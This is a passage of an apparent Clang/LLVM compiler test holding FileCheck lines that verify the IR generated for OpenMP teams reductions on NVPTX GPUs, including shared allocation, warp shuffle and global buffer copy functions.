@__kmpc_target_init(%struct.ident_t* @[[GLOB1:[0-9]+]], i8 1, i1 true, i1 true) // CHECK1-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK1-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK1: user_code.entry: // CHECK1-NEXT: [[TMP1:%.*]] = load double, double* [[CONV]], align 8 // CHECK1-NEXT: [[E1:%.*]] = call i8* @__kmpc_alloc_shared(i64 8) // CHECK1-NEXT: [[E_ON_STACK:%.*]] = bitcast i8* [[E1]] to double* // CHECK1-NEXT: store double [[TMP1]], double* [[E_ON_STACK]], align 8 // CHECK1-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK1-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK1-NEXT: store i32 [[TMP2]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK1-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E_ON_STACK]]) #[[ATTR3:[0-9]+]] // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[E1]], i64 8) // CHECK1-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK1-NEXT: ret void // CHECK1: worker.exit: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@__omp_outlined__ // CHECK1-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[E_ADDR:%.*]] = alloca double*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 8 // CHECK1-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 8 // CHECK1-NEXT: store double* [[E]], double** [[E_ADDR]], align 8 // CHECK1-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 8 // CHECK1-NEXT: [[E1:%.*]] = call i8* @__kmpc_alloc_shared(i64 8) // CHECK1-NEXT: [[E_ON_STACK:%.*]] = bitcast i8* [[E1]] to double* // CHECK1-NEXT: store double 0.000000e+00, double* [[E_ON_STACK]], align 8 // CHECK1-NEXT: [[TMP1:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK1-NEXT: [[ADD:%.*]] = fadd double [[TMP1]], 5.000000e+00 // CHECK1-NEXT: store double [[ADD]], double* [[E_ON_STACK]], align 8 // CHECK1-NEXT: [[TMP2:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i32, i32* [[TMP2]], align 4 // CHECK1-NEXT: [[TMP4:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast double* [[E_ON_STACK]] to i8* // CHECK1-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP7:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 8 // CHECK1-NEXT: [[TMP8:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP3]], i8* [[TMP7]], i32 1024, i8* [[TMP6]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK1-NEXT: [[TMP9:%.*]] = icmp eq i32 [[TMP8]], 1 // CHECK1-NEXT: br i1 [[TMP9]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK1: .omp.reduction.then: // CHECK1-NEXT: [[TMP10:%.*]] = load double, double* [[TMP0]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK1-NEXT: [[ADD2:%.*]] = fadd double [[TMP10]], [[TMP11]] // CHECK1-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK1-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP3]]) // CHECK1-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK1: .omp.reduction.done: // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[E1]], i64 8) // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2:[0-9]+]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK1-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i64 1 // CHECK1-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK1-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK1-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK1-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK1-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP19:%.*]] = trunc i32 [[TMP18]] to i16 // CHECK1-NEXT: [[TMP20:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP19]]) // CHECK1-NEXT: store i64 [[TMP20]], i64* [[TMP16]], align 8 // CHECK1-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP15]], i64 1 // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr i64, i64* [[TMP16]], i64 1 // CHECK1-NEXT: [[TMP23:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK1-NEXT: store i8* [[TMP23]], i8** [[TMP11]], align 8 // CHECK1-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK1-NEXT: [[TMP25:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP26:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP27:%.*]] = and i1 [[TMP25]], [[TMP26]] // CHECK1-NEXT: [[TMP28:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK1-NEXT: [[TMP29:%.*]] = and i16 [[TMP6]], 1 // CHECK1-NEXT: [[TMP30:%.*]] = icmp eq i16 [[TMP29]], 0 // CHECK1-NEXT: [[TMP31:%.*]] = and i1 [[TMP28]], [[TMP30]] // CHECK1-NEXT: [[TMP32:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK1-NEXT: [[TMP33:%.*]] = and i1 [[TMP31]], [[TMP32]] // CHECK1-NEXT: [[TMP34:%.*]] = or i1 [[TMP24]], [[TMP27]] // CHECK1-NEXT: [[TMP35:%.*]] = or i1 [[TMP34]], [[TMP33]] // CHECK1-NEXT: br i1 [[TMP35]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK1-NEXT: [[TMP37:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK1-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP36]], i8* [[TMP37]]) #[[ATTR3]] // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP39:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK1-NEXT: br i1 [[TMP40]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK1: then4: // CHECK1-NEXT: [[TMP41:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP42:%.*]] = load i8*, i8** [[TMP41]], align 8 // CHECK1-NEXT: [[TMP43:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP44:%.*]] = load i8*, i8** [[TMP43]], align 8 // CHECK1-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP42]] to double* // CHECK1-NEXT: [[TMP46:%.*]] = bitcast i8* [[TMP44]] to double* // CHECK1-NEXT: [[TMP47:%.*]] = load double, double* [[TMP45]], align 8 // CHECK1-NEXT: store double [[TMP47]], double* [[TMP46]], align 8 // CHECK1-NEXT: br label [[IFCONT6:%.*]] // CHECK1: else5: // CHECK1-NEXT: br label [[IFCONT6]] // CHECK1: ifcont6: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK1-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK1-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [1 x i8*]* // CHECK1-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK1-NEXT: br label [[PRECOND:%.*]] // CHECK1: precond: // CHECK1-NEXT: [[TMP8:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK1-NEXT: [[TMP9:%.*]] = icmp ult i32 [[TMP8]], 2 // CHECK1-NEXT: br i1 [[TMP9]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK1: body: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP11:%.*]] = load i8*, i8** [[TMP10]], align 8 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP11]] to i32* // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 [[TMP8]] // CHECK1-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP13]], align 4 // CHECK1-NEXT: store volatile i32 [[TMP15]], i32 addrspace(3)* [[TMP14]], align 4 // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP16:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP16]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK1: then2: // CHECK1-NEXT: [[TMP17:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP18:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP19:%.*]] = load i8*, i8** [[TMP18]], align 8 // CHECK1-NEXT: [[TMP20:%.*]] = bitcast i8* [[TMP19]] to i32* // CHECK1-NEXT: [[TMP21:%.*]] = getelementptr i32, i32* [[TMP20]], i32 [[TMP8]] // CHECK1-NEXT: [[TMP22:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP17]], align 4 // CHECK1-NEXT: store i32 [[TMP22]], i32* [[TMP21]], align 4 // CHECK1-NEXT: br label [[IFCONT4:%.*]] // CHECK1: else3: // CHECK1-NEXT: br label [[IFCONT4]] // CHECK1: ifcont4: // CHECK1-NEXT: [[TMP23:%.*]] = add nsw i32 [[TMP8]], 1 // CHECK1-NEXT: store i32 [[TMP23]], i32* [[DOTCNT_ADDR]], align 4 // CHECK1-NEXT: br label [[PRECOND]] // CHECK1: exit: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK1-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK1-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK1-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK1-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l26 // CHECK1-SAME: (i64 [[C:%.*]], i64 [[D:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[C_ADDR:%.*]] = alloca i64, align 8 // CHECK1-NEXT: [[D_ADDR:%.*]] = alloca i64, align 8 // CHECK1-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK1-NEXT: store i64 [[C]], i64* [[C_ADDR]], align 8 // CHECK1-NEXT: store i64 [[D]], i64* [[D_ADDR]], align 8 // CHECK1-NEXT: [[CONV:%.*]] = bitcast i64* [[C_ADDR]] to i8* // CHECK1-NEXT: [[CONV1:%.*]] = bitcast i64* [[D_ADDR]] to float* // CHECK1-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true) // CHECK1-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK1-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK1: user_code.entry: // CHECK1-NEXT: [[TMP1:%.*]] = load i8, i8* [[CONV]], align 1 // CHECK1-NEXT: [[C2:%.*]] = call i8* @__kmpc_alloc_shared(i64 1) // CHECK1-NEXT: store i8 [[TMP1]], i8* [[C2]], align 1 // CHECK1-NEXT: [[TMP2:%.*]] = load float, float* [[CONV1]], align 4 // CHECK1-NEXT: [[D3:%.*]] = call i8* @__kmpc_alloc_shared(i64 4) // CHECK1-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D3]] to float* // CHECK1-NEXT: store float [[TMP2]], float* [[D_ON_STACK]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK1-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK1-NEXT: store i32 [[TMP3]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK1-NEXT: call void @__omp_outlined__1(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C2]], float* [[D_ON_STACK]]) #[[ATTR3]] // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[D3]], i64 4) // CHECK1-NEXT: call void @__kmpc_free_shared(i8* [[C2]], i64 1) // CHECK1-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK1-NEXT: ret void // CHECK1: worker.exit: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@__omp_outlined__1 // CHECK1-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[D_ADDR:%.*]] = alloca float*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 8 // CHECK1-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 8 // CHECK1-NEXT: store float* [[D]], float** [[D_ADDR]], align 8 // CHECK1-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 8 // CHECK1-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 8 // CHECK1-NEXT: [[C1:%.*]] = call i8* @__kmpc_alloc_shared(i64 1) // CHECK1-NEXT: [[D2:%.*]] = call i8* @__kmpc_alloc_shared(i64 4) // CHECK1-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D2]] to float* // CHECK1-NEXT: store i8 0, i8* [[C1]], align 1 // CHECK1-NEXT: store float 